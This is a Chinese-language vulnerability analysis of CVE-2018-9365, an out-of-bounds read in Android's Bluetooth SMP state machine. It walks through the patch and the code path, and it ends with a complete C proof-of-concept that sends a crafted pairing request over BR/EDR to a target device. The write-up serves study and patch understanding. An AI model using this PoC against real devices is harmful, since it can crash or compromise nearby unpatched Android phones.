【蓝牙】CVE-2018-9365 smp_sm_event数组越界访问导致RCE

补丁

  • https://android.googlesource.com/platform/system/bt/+/ae94a4c333417a1829030c4d87a58ab7f1401308

补丁描述修复了在smp_sm_event()里的非预期,判断了p_cb->role大于等于2则报错返回,我们猜测这里可能是字段p_cb->role可以由连接者控制

DO NOT MERGE Fix unexpected behavior in smp_sm_event

Bug: 74121126
Test: manual
Change-Id: Ie5dd841d6461ad057c4ab572007f38c5446aba53
(cherry picked from commit 652798b2f2d6c90e0fc95c00ccfb91e2870b03d4)
diff --git a/stack/smp/smp_main.cc b/stack/smp/smp_main.cc
index 829a5d4..49e2ece 100644
--- a/stack/smp/smp_main.cc
+++ b/stack/smp/smp_main.cc
@@ -18,6 +18,7 @@
 
 #include "bt_target.h"
 
+#include <cutils/log.h>
 #include <string.h>
 #include "smp_int.h"
 
@@ -954,6 +955,13 @@
   uint8_t curr_state = p_cb->state;
   tSMP_SM_TBL state_table;
   uint8_t action, entry, i;
+
+  if (p_cb->role >= 2) {
+    SMP_TRACE_DEBUG("Invalid role: %d", 1. );
+    android_errorWriteLog(0x534e4554, "74121126");
+    return;
+  }
+
   tSMP_ENTRY_TBL entry_table = smp_entry_table[p_cb->role];
 
   SMP_TRACE_EVENT("main smp_sm_event");

我们从头开始分析,当SMP Channel有来自L2CAP的数据时,会调用smp_data_received()进行数据的处理,这里我们的关注点在于cmdSMP_OPCODE_PAIRING_REQ 0x01时的情况,当传入的是SMP_OPCODE_PAIRING_REQ,会调用L2CA_GetBleConnRole()

/*******************************************************************************
 *
 * Function         smp_data_received
 *
 * Description      This function is called when data is received from L2CAP on
 *                  SMP channel.
 *
 *
 * Returns          void
 *
 ******************************************************************************/
static void smp_data_received(uint16_t channel, const RawAddress& bd_addr,
                              BT_HDR* p_buf) {
  tSMP_CB* p_cb = &smp_cb;
  uint8_t* p = (uint8_t*)(p_buf + 1) + p_buf->offset;
  uint8_t cmd;
  SMP_TRACE_EVENT("SMDBG l2c %s", __func__);

  STREAM_TO_UINT8(cmd, p); // 取第一字节

  /* sanity check */
  if ((SMP_OPCODE_MAX < cmd) || (SMP_OPCODE_MIN > cmd)) {
    SMP_TRACE_WARNING("Ignore received command with RESERVED code 0x%02x", cmd);
    osi_free(p_buf);
    return;
  }
  
  // #define SMP_OPCODE_PAIRING_REQ 0x01
  // 当第一字节是0x01时,会进入第一个if分支
  /* reject the pairing request if there is an on-going SMP pairing */
  if (SMP_OPCODE_PAIRING_REQ == cmd || SMP_OPCODE_SEC_REQ == cmd) {
    if ((p_cb->state == SMP_STATE_IDLE) &&
        (p_cb->br_state == SMP_BR_STATE_IDLE) &&
        !(p_cb->flags & SMP_PAIR_FLAGS_WE_STARTED_DD)) {
      p_cb->role = L2CA_GetBleConnRole(bd_addr); //这里进行p_cb->role的赋值
      p_cb->pairing_bda = bd_addr;
    } else if (bd_addr != p_cb->pairing_bda) {
      osi_free(p_buf);
      smp_reject_unexpected_pairing_command(bd_addr);
      return;
    }
    ...
}

其中第二个参数类型RawAddress的部分实现如下,可以看到其数据以及转换的方式

static_assert(sizeof(RawAddress) == 6, "RawAddress must be 6 bytes long!");

const RawAddress RawAddress::kAny{{0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}};
const RawAddress RawAddress::kEmpty{{0x00, 0x00, 0x00, 0x00, 0x00, 0x00}};

RawAddress::RawAddress(const uint8_t (&addr)[6]) {
  std::copy(addr, addr + kLength, address);
};

std::string RawAddress::ToString() const {
  return base::StringPrintf("%02x:%02x:%02x:%02x:%02x:%02x", address[0],
                            address[1], address[2], address[3], address[4],
                            address[5]);
}

L2CA_GetBleConnRole()会先给role赋值为HCI_ROLE_UNKNOWN,这个值是0xff,之后进行遍历搜索,如果搜到了就将role赋值为p_lcp->link_role,如果没搜到就是初始化的值0xff

/* HCI role defenitions */
#define HCI_ROLE_MASTER 0x00
#define HCI_ROLE_SLAVE 0x01
#define HCI_ROLE_UNKNOWN 0xff

/*******************************************************************************
 *
 * Function         L2CA_GetBleConnRole
 *
 * Description      This function returns the connection role.
 *
 * Returns          link role.
 *
 ******************************************************************************/
uint8_t L2CA_GetBleConnRole(const RawAddress& bd_addr) {
  uint8_t role = HCI_ROLE_UNKNOWN;

  tL2C_LCB* p_lcb;

  p_lcb = l2cu_find_lcb_by_bd_addr(bd_addr, BT_TRANSPORT_LE);
  if (p_lcb != NULL) role = p_lcb->link_role;

  return role;
}

回到smp_data_received(),会调用到smp_sm_event()

/*******************************************************************************
 *
 * Function         smp_data_received
 *
 * Description      This function is called when data is received from L2CAP on
 *                  SMP channel.
 *
 *
 * Returns          void
 *
 ******************************************************************************/
static void smp_data_received(uint16_t channel, const RawAddress& bd_addr,
                              BT_HDR* p_buf) {
  ...
  /* reject the pairing request if there is an on-going SMP pairing */
  if (SMP_OPCODE_PAIRING_REQ == cmd || SMP_OPCODE_SEC_REQ == cmd) {
    if ((p_cb->state == SMP_STATE_IDLE) &&
        (p_cb->br_state == SMP_BR_STATE_IDLE) &&
        !(p_cb->flags & SMP_PAIR_FLAGS_WE_STARTED_DD)) {
      p_cb->role = L2CA_GetBleConnRole(bd_addr); // <-- 1
      p_cb->pairing_bda = bd_addr;
    } 
  ...

  if (bd_addr == p_cb->pairing_bda) {
    ...
    p_cb->rcvd_cmd_code = cmd;
    p_cb->rcvd_cmd_len = (uint8_t)p_buf->len;
    smp_sm_event(p_cb, cmd, p); // <-- 2
  }

  osi_free(p_buf);
}

通过查看该函数,我们可以注意到,后续会直接使用该字段作为下标对数组进行取值操作

/*******************************************************************************
 *
 * Function     smp_sm_event
 *
 * Description  Handle events to the state machine. It looks up the entry
 *              in the smp_entry_table array.
 *              If it is a valid entry, it gets the state table. Set the next
 *              state, if not NULL state. Execute the action function according
 *              to the state table. If the state returned by action function is
 *              not NULL state, adjust the new state to the returned state. If
 *              (api_evt != MAX), call callback function.
 *
 * Returns      void.
 *
 ******************************************************************************/
void smp_sm_event(tSMP_CB* p_cb, tSMP_EVENT event, void* p_data) {
  uint8_t curr_state = p_cb->state;
  tSMP_SM_TBL state_table;
  uint8_t action, entry, i;
  tSMP_ENTRY_TBL entry_table = smp_entry_table[p_cb->role];
  ...

我们通过源码找到smp_entry_table的定义,这个数组的长度只有2,结合前面的分析,smp_entry_table[p_cb->role]的取值可能是smp_entry_table[0x00]smp_entry_table[0x01]smp_entry_table[0xff],所以这里就出现了一个越界访问的漏洞

static const tSMP_ENTRY_TBL smp_entry_table[] = {smp_master_entry_map, smp_slave_entry_map};

谷歌给这个漏洞的评级是Critical RCE,所以它是可以进行利用的

CVE参考编号类型严重程度已更新的 AOSP 版本

CVE-2018-9365

A-74121126

RCE

Critical

6.0、6.0.1、7.0、7.1.1、7.1.2、8.0、8.1

那我们如何让L2CA_GetBleConnRole()返回0xff呢?

继续分析L2CA_GetBleConnRole(),关键调用l2cu_find_lcb_by_bd_addr()

uint8_t L2CA_GetBleConnRole(const RawAddress& bd_addr) {
  uint8_t role = HCI_ROLE_UNKNOWN;

  tL2C_LCB* p_lcb;

  p_lcb = l2cu_find_lcb_by_bd_addr(bd_addr, BT_TRANSPORT_LE);
  if (p_lcb != NULL) role = p_lcb->link_role;

  return role;
}

遍历l2cb.lcb_pool来搜索是否有匹配的地址,匹配有两个条件,一个是TRANSPORT匹配,另一个是地址匹配,如果TRANSPORT不匹配,就有可能出现找不到然后返回NULL的情况

/*******************************************************************************
 *
 * Function         l2cu_find_lcb_by_bd_addr
 *
 * Description      Look through all active LCBs for a match based on the
 *                  remote BD address.
 *
 * Returns          pointer to matched LCB, or NULL if no match
 *
 ******************************************************************************/
tL2C_LCB* l2cu_find_lcb_by_bd_addr(const RawAddress& p_bd_addr,
                                   tBT_TRANSPORT transport) {
  int xx;
  tL2C_LCB* p_lcb = &l2cb.lcb_pool[0];

  for (xx = 0; xx < MAX_L2CAP_LINKS; xx++, p_lcb++) {
    if ((p_lcb->in_use) && p_lcb->transport == transport &&
        (p_lcb->remote_bd_addr == p_bd_addr)) {
      return (p_lcb);
    }
  }

  /* If here, no match found */
  return (NULL);
}

传进来的是BT_TRANSPORT_LE,源码如下,所以我们可以使用BT_TRANSPORT_BR_EDR模式来使l2cu_find_lcb_by_bd_addr()返回NULL,从而L2CA_GetBleConnRole()就能返回0xff

#define BT_TRANSPORT_UNKNOWN		0x00
#define BT_TRANSPORT_BR_EDR		0x01
#define BT_TRANSPORT_LE			0x02

PoC

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>          
#include <sys/socket.h>
#include <arpa/inet.h>
#include <errno.h>
#include <bluetooth/bluetooth.h>
#include <bluetooth/l2cap.h>
// #include "avdt_defs.h"

#define BT_CID_SMP 0x0006

/* SMP command code */
#define SMP_OPCODE_PAIRING_REQ 0x01

// 按字节读取缓冲区
#define UINT32_TO_STREAM(p, u32)     \
  {                                  \
    *(p)++ = (uint8_t)(u32);         \
    *(p)++ = (uint8_t)((u32) >> 8);  \
    *(p)++ = (uint8_t)((u32) >> 16); \
    *(p)++ = (uint8_t)((u32) >> 24); \
  }
#define UINT24_TO_STREAM(p, u24)     \
  {                                  \
    *(p)++ = (uint8_t)(u24);         \
    *(p)++ = (uint8_t)((u24) >> 8);  \
    *(p)++ = (uint8_t)((u24) >> 16); \
  }
#define UINT16_TO_STREAM(p, u16)    \
  {                                 \
    *(p)++ = (uint8_t)(u16);        \
    *(p)++ = (uint8_t)((u16) >> 8); \
  }
#define UINT8_TO_STREAM(p, u8) \
  { *(p)++ = (uint8_t)(u8); }

// 发送数据
void send_trigger_req(int sock_fd)
{
    uint8_t buffer[100];
    memset(buffer, 0, 100);
    uint8_t *p = buffer;
    uint8_t cmd = SMP_OPCODE_PAIRING_REQ;
    *p++ = cmd;
    memcpy(p, "\xff\xff\xff\xff\xff\xff", 6);
    p += 6;
    send(sock_fd, buffer, p - buffer, 0);
}

int main(int argc ,char* argv[])
{
    int sock_fd, ret;
    int try_count = 1;
    char dest[18];
    struct sockaddr_l2 local_l2_addr;
    struct sockaddr_l2 remote_l2_addr;
    struct bt_security btsec;

    if(argc < 2)
    {
        printf("usage : sudo ./poc TARGET_ADDR\n");
        return -1;
    }
    strncpy(dest, argv[1], 18);

    while( try_count-- > 0 )
    {
        // 创建socket句柄
        sock_fd = socket(AF_BLUETOOTH, SOCK_SEQPACKET, BTPROTO_L2CAP);
        if(sock_fd == -1)
        {
            perror("[*] socket create failed : ");
            return -1;
        }
        
        // 初始化本地地址
        memset(&local_l2_addr, 0, sizeof(struct sockaddr_l2));
        local_l2_addr.l2_family = AF_BLUETOOTH;
        local_l2_addr.l2_cid = htobs(BT_CID_SMP); // 0x0006 Security Manager Protocol
        local_l2_addr.l2_bdaddr_type = 0;
        memcpy(&local_l2_addr.l2_bdaddr , BDADDR_ANY, sizeof(bdaddr_t));

        ret = bind(sock_fd, (struct sockaddr*) &local_l2_addr, sizeof(struct sockaddr_l2));
        if(ret == -1)
        {
            perror("[*] bind()");
            goto out;
        }
	
        memset(&btsec, 0, sizeof(btsec));
        btsec.level = BT_SECURITY_LOW;
        
        if(setsockopt(sock_fd, SOL_BLUETOOTH, BT_SECURITY, &btsec, sizeof(btsec)) != 0)
        {
          perror("[*] setsockopt error");
          goto out;
        }

        // l2cap_set_mtu(sock_fd, 1024, 1024);

        memset(&remote_l2_addr, 0, sizeof(remote_l2_addr));
        remote_l2_addr.l2_family = AF_BLUETOOTH;
        remote_l2_addr.l2_bdaddr_type = 0;
        remote_l2_addr.l2_cid = htobs(BT_CID_SMP); // 0x0006 Security Manager Protocol
        //remote_l2_addr.l2_psm = htobs(6);
        str2ba(dest, &remote_l2_addr.l2_bdaddr);

        printf("connect %s\n", dest);
        if(connect(sock_fd, (struct sockaddr *) &remote_l2_addr,sizeof(remote_l2_addr)) < 0) 
        {  
            perror("[*] can't connect");
            goto out;
        } 

        send_trigger_req(sock_fd);
        //sleep(1);
    }

out:
    close(sock_fd);
    return 0;
}

其中BT_CID_SMP0x0006是用于指定Channel,之所以为0x0006我是通过找核心找到的,大佬果然诚不我欺

给buffer加上"\xff\xff\xff\xff\xff\xff"这一步,还是通过查找核心里面的配对请求包格式,发现整个包是七个字节,所以这里猜测是为了补全剩余字节

那么就剩最后一个问题:如何使用BT_TRANSPORT_BR_EDR模式呢?

关于如何使用BR/EDR,我查阅了一些资料

就在各种查阅资料的时候,我突然有了灵感,我现在不知道POC里哪里对应着BR/EDR模式,但是目前最有可能的就是local_l2_addr.l2_bdaddr_type = 0;,底层解析的时候,一定是.l2_bdaddr_type的形式进行取值,搜索一下BlueZ的源码

搜索BDADDR_BREDR,发现如下代码,所以,就是这个字段来控制BR/EDR,POC里设置local_l2_addr.l2_bdaddr_type = 0;,也就是BDADDR_BREDR,到此就已经可以完全理解PoC了

/* BD Address type */
#define BDADDR_BREDR           0x00
#define BDADDR_LE_PUBLIC       0x01
#define BDADDR_LE_RANDOM       0x02

Reference

  • https://blog.quarkslab.com/a-story-about-three-bluetooth-vulnerabilities-in-android.html

  • https://paper.seebug.org/666/

Last updated